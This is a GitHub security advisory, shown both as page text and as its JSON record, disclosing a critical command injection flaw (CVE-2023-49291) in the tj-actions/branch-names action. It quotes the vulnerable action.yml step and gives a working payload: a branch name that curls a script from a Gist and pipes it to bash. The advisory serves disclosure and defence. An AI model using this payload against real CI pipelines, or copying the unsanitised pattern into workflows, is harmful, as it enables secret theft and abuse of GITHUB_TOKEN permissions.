GHSA-8V8W-V8XG-79RF

Vulnerability from github – Published: 2023-12-05 23:30 – Updated: 2023-12-06 20:48
VLAI?
Summary
tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection
Details

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

  • https://securitylab.github.com/research/github-actions-untrusted-input
Severity ?
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "tj-actions/branch-names"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-05T23:30:10Z",
    "nvd_published_at": "2023-12-05T00:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n  using: \"composite\"\n  steps:\n    - id: branch\n      run: |\n        # \"Set branch names...\"\n        if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n          BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n          HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n          REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}\u0026\u0026${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash\u0026\u0026echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input",
  "id": "GHSA-8v8w-v8xg-79rf",
  "modified": "2023-12-06T20:48:41Z",
  "published": "2023-12-05T23:30:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tj-actions/branch-names"
    },
    {
      "type": "WEB",
      "url": "https://securitylab.github.com/research/github-actions-untrusted-input"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tj-actions/branch-names\u0027s Improper Sanitization of Branch Name Leads to Arbitrary Code Injection"
}


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